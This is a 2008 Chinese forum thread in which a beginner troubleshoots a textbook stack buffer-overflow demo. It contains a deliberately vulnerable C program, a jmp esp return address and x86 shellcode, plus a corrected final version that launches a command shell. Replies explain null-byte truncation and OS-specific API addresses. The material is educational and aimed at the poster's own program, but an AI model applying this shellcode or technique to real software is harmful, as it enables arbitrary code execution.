首页
社区
课程
招聘
[求助]缓冲区溢出小问题.
发表于: 2008-8-15 09:25 4974

[求助]缓冲区溢出小问题.

2008-8-15 09:25
4974

#include <stdio.h>
#include <string.h>
#include <windows.h>
char name[]=
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x12\x45\xfa\x7f"
"\x55\x8B\xEC\x83\xEC\x40"
"\x53\x56\x57\x8D\x7D\xC0"
"\xB9\x10\x00\x00\x00\xB8"
"\xCC\xCC\xCC\xCC\xF3\xAB"
"\x8B\xF4\x6A\x00\x68\x2C"
"\x20\x42\x00\x68\x1C\x20"
"\x42\x00\x6A\x00\xFF\x15"
"\xAC\xA2\x42\x00\x3B\xF4"
"\xE8\x2B\x00\x00\x00\x5F"
"\x5E\x5B\x83\xC4\x40\x3B"
"\xEC\xE8\x1E\x00\x00\x00"
"\x8B\xE5\x5D\xC3";
int main()
{
        char output[8];
        strcpy(output,name);

        for(int i=0;i<8&&output[i];i++)
        {
                printf("\\0x%x",output[i]);
        }
        return 0;
}
===========================
<缓冲区溢出教程>书上的第一个demo  
书上是试验环境是:2ksp?+vc6sp?
我的环境是:XPSP3+VCSP6
通用跳转地址:"\x12\x45\xfa\x7f"
跳转正确, 定位也对, 后面的shellcode就是不能执行, 报了个错误. 不知道为什么?! 哪位高人给小弟指点指点, 小弟 新学  谢谢大家了!?

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

收藏
免费 0
支持
分享
最新回复 (16)
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
以前我碰到过类似的问题,应该是main的stack空间不够了,没有吧全部shellcode注入进去。你在子函数中strcpy()

  我以前是在sp2调试的,你在你的系统下看看7ffa4512是不是jmp esp

  还有个小问题:
i<8&&output[i]
其实name数组的最后一个元素已经不是'\0'了,所以判断条件就可以是i<8就可以了。
2008-8-15 09:38
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
3
按照你的源代码在stack中对照一下,shellcode是不是完整的。
2008-8-15 09:39
0
雪    币: 234
活跃值: (25)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
4
你的jmp esp 用的是那个DLL中的,看看那个DLL加载了没有?
2008-8-15 09:44
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
5
正解
2008-8-15 09:48
0
雪    币: 6
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
[QUOTE=Liquidworm;496666]以前我碰到过类似的问题,应该是main的stack空间不够了,没有吧全部shellcode注入进去。你在子函数中strcpy()

  我以前是在sp2调试的,你在你的系统下看看7ffa4512是不是jmp esp

  还有个小问题:
i<8&&output[i]
其实nam...[/QUOTE]
=====================================================
是的
7ffa4512 地址下是 jmp esp的. 我跟过了.
这通用跳转地址的dll不是一直挂在系统中吗?
直接访问这个地址就可以了. 不需要再load吧????

而且书上我也没看到说 需要load 你要跳地址的那个dll啊.
2008-8-15 09:57
0
雪    币: 6
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
main 函数的栈空间 要是不够的话要怎么解决呢?!!?!??
2008-8-15 10:11
0
雪    币: 175
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
申请一快内存塞
2008-8-15 10:46
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
回复7楼:
  你可以在子函数中strcpy()

void function(char *pointer)
{
  char name[8];
  strcpy(name,pointer);
}
上面代码是我临时写的,你可以参考下。7ffa4512这个地址的确是通用的,我知道kernel32.dll好像是默认被Load的,但是我现在也不清楚7ffa4512是不是在kernel32中。

你在栈中找到name的入口点,然后早到ret下面的shellcode开始位置,然后根据你的源代码对照一下,是不是空间不够。main的stack空间不是很大,你很容易就看见有41414141这样的。
2008-8-15 11:14
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
回复8楼:
malloc()的内存是在heap中的,stack是静态分配固定的内存。

我以前的问题就是我用子函数就把问题解决了,LZ你在仔细看下stack的内容。
2008-8-15 11:16
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
发现了点小问题 ,我在自己电脑上调试了你的代码,才发现在你的shellcode有\x00,所以在strcpy()的时候就被截断了,实际上main()的空间是可以容纳你的短小的shellcode的。或者是改变一下shellcode的源代码或者是用decode来加/解密shellcode.


已经执行到了jmp esp


当前esp地址,在stack中查找一下吧。。。


可以看到是shellcode的起始地址了,你对照下源代码就知道了。。。


而,这里是我根据你shellcode的长度计算的shellcode尾部的地址。但是很显然并不是shellcode,你对照下源代码。。。


这个就是stack的真实情况了,这个就应该是shellcode的存储范围了,可惜却没有完整的shellcode


仔细与源代码对照就发现strcpy()停止在了第一个\x00地方了。呵呵
2008-8-15 11:52
0
雪    币: 6
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
12
晕 不好意思! 后来有事情出去了!
现在才回来! 弄了半天原来是我的shellcode出了问题!
非常感谢你这么热心的帮助我!!!!我在好多群里问了都没人鸟!!!!!1
我修改一下再试试!!!!
谢谢!!!!!!!!
2008-8-15 19:41
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
13
不客气,google的相册好像是动态地址,现在又看不到载图了。
2008-8-15 19:57
0
雪    币: 6082
活跃值: (794)
能力值: ( LV4,RANK:45 )
在线值:
发帖
回帖
粉丝
14

看不懂
2008-8-15 20:02
0
雪    币: 846
活跃值: (221)
能力值: (RANK:570 )
在线值:
发帖
回帖
粉丝
15
覆盖SEH相对好一点
2008-8-15 21:02
0
雪    币: 6
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
16
Liquidworm
==========
你的图片 我可以看 的到! 点击一下就可以了! 再次严重感谢你的用心!
====================================

晕 终于搞定了. 我把书上的二进制码考下来, 一个好朋友帮助我.
2K与xp的api地址也不同啊. 难怪我会出错!
===============================
#include <stdio.h>
#include <string.h>
#include <windows.h>
char name[]=
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x41\x41\x41\x41"
"\x12\x45\xfa\x7f"
"\x55\x8B\xEC\x33\xC0\x50\x50\x50\xC6\x45\xF4\x4D\xC6\x45\xF5\x53"
"\xC6\x45\xF6\x56\xC6\x45\xF7\x43\xC6\x45\xF8\x52\xC6\x45\xF9\x54\xC6\x45\xFA\x2E\xC6"
"\x45\xFB\x44\xC6\x45\xFC\x4C\xC6\x45\xFD\x4C\xBA"
"\x9c\x4f\x88\x7C"   // 这里修改
"\x52\x8D\x45\xF4\x50"
"\xFF\x55\xF0"
"\x55\x8B\xEC\x83\xEC\x2C\xB8\x63\x6F\x6D\x6D\x89\x45\xF4\xB8\x61\x6E\x64\x2E"
"\x89\x45\xF8\xB8\x63\x6F\x6D\x22\x89\x45\xFC\x33\xD2\x88\x55\xFF\x8D\x45\xF4"
"\x50\xB8"
"\xC7\x93\xBF\x77"                     /*这里修改*/
"\xFF\xD0";
int main()
{
        char output[8];
        strcpy(output,name);

        for(int i=0;i<8&&output[i];i++)
        {
                printf("\\0x%x",output[i]);
        }
        return 0;
}
==============================
正确的代码, 这里我把shellcode照抄了书上的一遍 又改了一遍地址!
2008-8-15 21:43
0
雪    币: 6
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
17
==================
老大 我很菜. 今天蛮看书玩! 然后就遇到难题了!
2008-8-15 21:44
0
游客
登录 | 注册 方可回帖
返回
//